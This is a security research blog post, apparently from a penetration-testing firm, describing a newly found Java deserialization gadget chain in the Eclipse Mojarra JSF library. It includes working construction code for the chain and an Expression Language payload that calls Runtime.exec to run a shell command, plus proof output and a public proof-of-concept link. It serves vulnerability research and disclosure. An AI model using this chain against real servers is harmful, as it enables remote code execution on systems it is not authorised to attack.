Finding gadgets like it's 2015: part 2
Rédigé par
- Téléchargement
- 28/10/2021 - dans
We found a new Java gadget chain in the Mojarra library, one of the most used implementation of the JSF specification. It uses a known entry point to start the chain and ends with arbitrary code execution through Java's Expression Language. It was tested on version 2.3 and 3.0 of the Eclipse implementation of the JSF specification.
Introduction
During a past assessment, we had the opportunity to audit a pretty big Java application. On the last two days of the audit we had a potential lead on an arbitrary object deserialization due to JNDI/LDAP injection. It turns out this was a real vulnerability even though it was difficult to exploit in practice.
When you stumble upon such an issue, you generally hope to get RCE from it. That's what CTFs try to teach you. You fire up ysoserial, find the right gadget to use and profit. But real life is not a CTF and in our case, shooting ysoserial payloads at our target did not lead to any interesting result. Nothing, no connect back, no shell, not even a DNS pingback. Nothing came back to us. Nothing. Nothing, nada, niet, nichts, rien. 沒什麼.
In this case, it so happened that we managed to find a suitable way out. Let's see how we managed to analyze and find a gadget in one of the libraries used by the application.
The previous part was focused on explaining the CommonCollection 1 and 7 gadget chains to better understand Java gadgets. In this part, we'll dive into the new gadget chain that we found in Mojarra, we'll describe how we found it and the different problems that we had to face in order to get a valid chain.
Finding a new sink
Understanding the internals of a ysoserial gadget surely helps to look for new ones in a target. Not only does it provide background on deserialization issues but it also provides ideas for more advanced sinks.
You can find gadgets in every Java library, so we can start by listing the jars used by our target.
❯ find . -name '*.jar' | wc -l
637
There are more than 600 jar files. Looking for gadgets manually in each of them one by one is not possible. Fortunately, a bunch of community tools, such as
gadget-inspector
1, can help you in this task. This tool was presented at Blackhat in 2018 by Ian Haken. It aims to find gadgets automatically by analyzing Java byte code. It can run on a jar or a war file and a little bash loop can help sort out our pile of 637 jars. After a night of patience, we got the following results:
❯ wc -l output/* |sort -n
13 output/588-gadget-chains.txt
19 output/473-gadget-chains.txt
23 output/628-gadget-chains.txt
8 output/100-gadget-chains.txt
8 output/101-gadget-chains.txt
8 output/102-gadget-chains.txt
8 output/103-gadget-chains.txt
[...]
❯ cat output/103-gadget-chains.txt
org/apache/log4j/pattern/LogEvent.readObject(Ljava/io/ObjectInputStream;)V (1)
org/apache/log4j/pattern/LogEvent.readLevel(Ljava/io/ObjectInputStream;)V (1)
java/lang/reflect/Method.invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object; (0)
org/apache/log4j/spi/LoggingEvent.readObject(Ljava/io/ObjectInputStream;)V (1)
org/apache/log4j/spi/LoggingEvent.readLevel(Ljava/io/ObjectInputStream;)V (1)
java/lang/reflect/Method.invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object; (0)
It was obviously a false positive. The chain readObject of the LogEvent class which then calls the readLevel method and then performs reflection.
static final String TO_LEVEL = "toLevel";
static final Class[] TO_LEVEL_PARAMS = new Class[] {int.class};
[...]
void readLevel(ObjectInputStream ois) throws java.io.IOException, ClassNotFoundException {
[...]
String className = (String) ois.readObject();
[...]
Class clazz = Loader.loadClass(className);
[...]
m = clazz.getDeclaredMethod(TO_LEVEL, TO_LEVEL_PARAMS);
[...]
level = (Level) m.invoke(null, PARAM_ARRAY);
[...]
It gets a class name from the serialized object, gets the
toLevel
method and calls it, since the first parameter of the invoke
method is null we can only call a method called toLevel
of an arbitrary class which needs to be static... This won't give us arbitrary code execution.The 473-gadget-chains.txt file is the result of the analysis of the common collection library. The version used by the application is patched against the gadgets described in the previous part of this article, thus these gadgets dont work anymore. Indeed, the developers of the Apache common collection fixed different sensitive classes by adding a specific flag, which is not enabled by default. If it's not enabled, the object is not deserialized. Here is the readObject method of the InvokerTransformer class:
private void readObject(ObjectInputStream is) throws ClassNotFoundException, IOException {
FunctorUtils.checkUnsafeSerialization(InvokerTransformer.class);
is.defaultReadObject();
}
The output of the 628-gadget-chains.txt file only contains false positives whereas the file 588-gadget-chains.txt is more interesting. It's the result of the analysis of a library called
jboss-jsf-api_2.3_spec-3.0.0.SP04.jar
:
java/awt/Component.readObject(Ljava/io/ObjectInputStream;)V (1)
java/awt/Component.checkCoalescing()Z (0)
javax/faces/component/UIComponentBase$AttributesMap.get(Ljava/lang/Object;)Ljava/lang/Object; (1)
java/lang/reflect/Method.invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object; (0)
Note that
java.awt.Component
is an abstract class, so we won't be able to serialize it, but let's look at the end of the payload. The AttributesMap
class is private and is defined in the UIComponentBase.java
file.In the
get
method of the AttributesMap
class we :
private static class AttributesMap implements Map<String, Object>, Serializable {
[...]
private transient Map<String, PropertyDescriptor> pdMap;
private transient ConcurrentMap<String, Method> readMap;
private transient UIComponent component;
private static final long serialVersionUID = -6773035086539772945L;
[...]
public Object get(Object keyObj) {
String key = (String) keyObj;
Object result = null;
[...]
Map<String, Object> attributes = (Map<String, Object>) component.getStateHelper().get(PropertyKeys.attributes);
if (null == result) {
PropertyDescriptor pd = getPropertyDescriptor(key);
if (pd != null) {
try {
if (null == readMap) {
readMap = new ConcurrentHashMap<>();
}
Method readMethod = readMap.get(key);
if (null == readMethod) {
readMethod = pd.getReadMethod();
Method putResult = readMap.putIfAbsent(key, readMethod);
if (null != putResult) {
readMethod = putResult;
}
}
if (readMethod != null) {
result = (readMethod.invoke(component, EMPTY_OBJECT_ARRAY));
[...]
To get through the invoke method, the
getPropertyDescriptor
function must return something that is not null. However due to the transient
flag, the pdMap
attribute will be null, thus returning null
:
PropertyDescriptor getPropertyDescriptor(String name) {
if (pdMap != null) {
return (pdMap.get(name));
}
return (null);
}
It's not possible to reach the invoke method, making it a false positive. Indeed, the GitHub repository of gadget-inspector states that the tool doesn't try to solve for the satisfiability of branch conditions to simplify the analysis. It also states this:
Furthermore, gadget inspector has pretty broad conditions on those functions it considers interesting. For example, it treats reflection as interesting (i.e. calls toMethod.invoke()
where an attacker can control the method), but often times overlooked assertions mean that an attacker can influence the method invoked but does not have complete control. For example, an attacker may be able to invoke the "getError()" method in any class, but not any other method name.
We tried to add new sinks to gadget-inspector to find new paths. There is a
isSink
method in the code; we added code like this:
if (method.getClassReference().getName().equals("javax/el/ELProcessor")
&& method.getName().equals("eval")) {
return true;
}
The
eval
method of the ELProcessor class is interesting because it can result in code execution if you control the parameter. We ran the tool multiple times on the 637 libraries, but it didn't find new paths.get
function of the AttributesMap
there are some interesting pieces of code:
@Override
public Object get(Object keyObj) {
[...]
if (null == result) {
ValueExpression ve = component.getValueExpression(key);
if (ve != null) {
try {
result = ve.getValue(component.getFacesContext().getELContext());
} catch (ELException e) {
throw new FacesException(e);
}
}
}
Expression Language (EL) is a programming language mostly used in web applications for embedding and evaluating expressions in web pages. A
ValueExpression
is an Expression
that can get or set a value. In other words and to simplify, a ValueExpression is an object holding EL code which is evaluated when you call getValue
on it:
FacesContext ctx = FacesContext.getCurrentInstance();
ELContext elContext = ctx.getELContext();
ExpressionFactory expressionFactory = ctx.getApplication().getExpressionFactory();
String codeExec = "${1+1}";
ValueExpression ve = expressionFactory.createValueExpression(elContext, codeExec, Object.class);
System.out.println(ve.getValue(elContext));
//output:
2
So in our example the
ValueExpression
is retrieved from the component attribute, which we control, by calling getValueExpression
on it. This means that it's possible to execute arbitrary code thanks to expression language if we manage to call the get
method of our AttributesMap
.To construct the
AttributesMap
, Java reflection can be used:
private Object constructAttributesMap(UIColumn uiColumn){
try {
Class<?> clazz = Class.forName("javax.faces.component.UIComponentBase$AttributesMap");
Constructor<?> constructor = clazz.getDeclaredConstructors()[0];
constructor.setAccessible(true);
Object attributesMap = constructor.newInstance(uiColumn);
return attributesMap;
[...]
A
UIColumn
object is used because it's an implementation of the UIComponentBase class.Then we can try it:
String codeExec = "${1+1}";
ValueExpression ve = expressionFactory.createValueExpression(elContext, codeExec, Object.class);
UIColumn uiColumn = new UIColumn();
uiColumn.setValueExpression("yy",ve);
Map attributesMap = (Map) constructAttributesMap(uiColumn);
System.out.println(attributesMap.get("yy"));
//output
2
Calling get on an
AttributesMap
with a controlled parameter results in arbitrary code execution.Using an old path
We now need to be able to call the get
method off the AttributesMap
. Calling get
on a map ? We already know how to perform this thanks to CommonCollection 1 and 7. This was described in the previous part of this article. We know that we can't use the CommonCollection1 gadget anymore because it won't work on a recent system. However, we might be able to use some part of the CommonCollection7 gadget chain.
The beginning of the CommonCollection7 chain is:
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
Last time we saw that by combining LazyMaps
and the Java weak hash method, we were able to perform arbitrary code execution. We added some debug output to the exploit:
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
// Use the colliding Maps as keys in Hashtable
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
// added for debug
System.out.println(lazyMap1.entrySet());
System.out.println(lazyMap2.entrySet());
// Needed to ensure hash collision after previous manipulations
innerMap2.remove("yy");
// added for debug
System.out.println(lazyMap1.entrySet());
System.out.println(lazyMap2.entrySet());
System.out.println(hashtable.entrySet());
The debug output is :
[yy=1]
[zZ=1, yy=yy]
[yy=1]
[zZ=1]
[{zZ=1}=2, {yy=1}=1]
Now, let's try replacing the
LazyMap
with our AttributesMap
. The equals
function of the AttributesMap
behave the same way as that of the AbstractMap
, it calls get
on the Map
passed in parameter so the gadget chain should work with an AttributesMap
.
UIColumn uiColumn = constructUiColumn();
Map innerMap1 = (Map) constructAttributesMap(uiColumn);
Map innerMap2 = (Map) constructAttributesMap(uiColumn);
innerMap1.put("yy", 1);
innerMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(innerMap1, 1);
hashtable.put(innerMap2, 2);
System.out.println(innerMap1.entrySet());
System.out.println(innerMap2.entrySet());
innerMap2.remove("yy");
System.out.println(innerMap1.entrySet());
System.out.println(innerMap2.entrySet());
System.out.println(hashtable.entrySet());
[yy=1, zZ=1]
[yy=1, zZ=1]
[zZ=1]
[zZ=1]
[javax.faces.component.UIComponentBase$AttributesMap@f21=2]
There is a problem: when an element is added to an
AttributesMap
it's added to all the AttributesMap
of the context. Thus all AttributesMap
of a given context have the same elements. However 2 AttributesMap
with different elements are needed to make a valid chain. Indeed, if our innerMap1
and innerMap2
equal one another only one will be added to the final Hashtable
. This problem doesn't occur with a LazyMap
because LazyMap
and AttributesMap
are differents implementations of the Map interface.What we need is to add an object to our final
Hashtable
. This object needs to be an implementation of the Map interface to both trigger the hash collision and call the equals function between our AttributesMap
and this object.The
Hashtable
itself is a perfect candidate, as it fulfills all the requirements:
Map innerMap1 = new Hashtable();
Map innerMap2 = (Map) constructAttributesMap(uiColumn);
innerMap1.put("yy", 1);
innerMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(innerMap1, 1);
hashtable.put(innerMap2, 2);
System.out.println(innerMap1.entrySet());
System.out.println(innerMap2.entrySet());
System.out.println(hashtable.entrySet());
[yy=1]
[zZ=1]
[javax.faces.component.UIComponentBase$AttributesMap@f21=2, {yy=1}=1]
We now have 2 maps with one element each and their key collide, which will trigger the end off the gadget chain.
To verify the chain, we made a little Java application with 2 endpoints, one to build the gadget and one to deserialize the chain:
On the server side, an error is triggered:
[#|2021-05-23T13:03:05.410+0000|SEVERE|Payara 5.2021.3||_ThreadID=81;_ThreadName=http-thread-pool::http-listener-1(1);_TimeMillis=1621774985410;_LevelValue=1000;|
java.lang.ClassNotFoundException: org.jboss.weld.module.web.el.WeldValueExpression
at java.net.URLClassLoader.findClass(URLClassLoader.java:382)
at java.lang.ClassLoader.loadClass(ClassLoader.java:419)
[...]
at javax.faces.component.UIComponentBase$AttributesMap.readObject(UIComponentBase.java:2252)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1184)
A
ClassNotFoundException
error is raised with the class WeldValueExpression
. In our gadget chain, we use a
ValueExpression
to get arbitrary code execution; the ValueExpression
class is an abstract class. In our case the implementation of the ValueExpression
class is the WeldValueExpression
class:
ValueExpression ve = expressionFactory.createValueExpression(elContext, "${1+1}", Object.class);
System.out.println(ve.getType(elContext).toString());
//output
class org.jboss.weld.module.web.el.WeldValueExpression
The demo app can serialize the
WeldValueExpression
but can't find the class during the deserialization process; this particular behavior is characteristic of a class loading problem. We tried to serialize a Hashtable
with only one element which was a WeldValueExpression
to see whether the error occur during the deserialization, but no error was triggered.This means that the problem is indeed due to a class loading problem. We modified the gadget chain to add a useless
ValueExpression
to the final hashtable
. The underlying idea is to make sure that the class is loaded before the system tries to load it from the AttributesMap
class:
private Hashtable constructPayload(String elString){
ELContext elContext = ctx.getELContext();
ExpressionFactory expressionFactory = ctx.getApplication().getExpressionFactory();
//dummy ValueExpression
ValueExpression ve = expressionFactory.createValueExpression(elContext, "${1+1}", Object.class);
UIColumn uiColumn = constructUiColumn(elString);
Map innerMap1 = new Hashtable();
Map innerMap2 = (Map) constructAttributesMap(uiColumn);
innerMap1.put("yy", 1);
innerMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
//dummy ValueExpression to resolve class loading problems
hashtable.put(ve, 0);
hashtable.put(innerMap1, 1);
hashtable.put(innerMap2, 2);
return hashtable;
}
The following
ValueExpression
can be used:
${true.getClass().forName("java.lang.Runtime").getMethods()[6].invoke(true.getClass().forName("java.lang.Runtime")).exec('bash -c touch$IFS/tmp/pwned')}
And it finally worked!
root@dcc6d9ab3e9e:/opt/payara# ls /tmp/pwned
/tmp/pwned
Final thoughts
You might be wondering if the
jboss-jsf-api_2.3_spec-3.0.0.SP04.jar
library is often used in Java projects and what JSF is ? From Wikipedia:Jakarta Server Faces (JSF; formerly JavaServer Faces) is a Java specification for building component-based user interfaces for web applications and was formalized as a standard through the Java Community Process being part of the Java Platform, Enterprise Edition. It is also a MVC web framework that simplifies construction of user interfaces (UI) for server-based applications by using reusable UI components in a page.
Since it's only a specification, there are several implementations. In fact, there are 2 main implementations of the JSF specification which are Eclipse Mojarra and Apache MyFaces.
The gadget chain is valid for the implementation of the JSF specification in version 2.3 and 3.0. The implementation by Eclipse can be found on GitHub2.
We tried to reproduce the gadget chain on the MyFaces implementation, but it didn't work. In fact, the
UIComponent
class is not serializable but the AttributesMap
calls a method during serialization and deserailization to save/restore the UIComponent
. However, the _ComponentAttributesMap
(the equivalent of AttributesMap
for MyFaces) doesn't do this operation, so we can't serialize the _ComponentAttributesMap
class with an UIComponent
even if the _ComponentAttributesMap
class is serializable. The developers of the Mojarra implementation wrote a little comment above the readObject
/writeObject
functions:
private static class AttributesMap implements Map<String, Object>, Serializable {
[...]
// ----------------------------------------------- Serialization Methods
// This is dependent on serialization occuring with in a
// a Faces request, however, since UIComponentBase.{save,restore}State()
// doesn't actually serialize the AttributesMap, these methods are here
// purely to be good citizens.
private void writeObject(ObjectOutputStream out) throws IOException {
out.writeObject(component.getClass());
// noinspection NonSerializableObjectPassedToObjectStream
out.writeObject(component.saveState(FacesContext.getCurrentInstance()));
}
[...]
Conclusion
Here is the final chain:
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
java.util.Hashtable.equals
javax.faces.component.UIComponentBase$AttributesMap.get
javax.faces.component.UIComponent.getValueExpression
javax.el.ValueExpression.getValue
Each Java project using the Mojarra JSF implementation of Eclipse is vulnerable to this gadget chain if an arbitrary object deserialization can be triggered.
A POC for both versions can be found here: https://github.com/synacktiv/mojarragadget
Real life is not a CTF: it's not possible to launch ysoserial when you have an arbitrary object deserialization with an up to date java application. We hope we brought as many details as possible on the process of finding new java gadgets. This process can be really long and discouraging but it's still achievable.
Be good citizens, find some new gadget chains!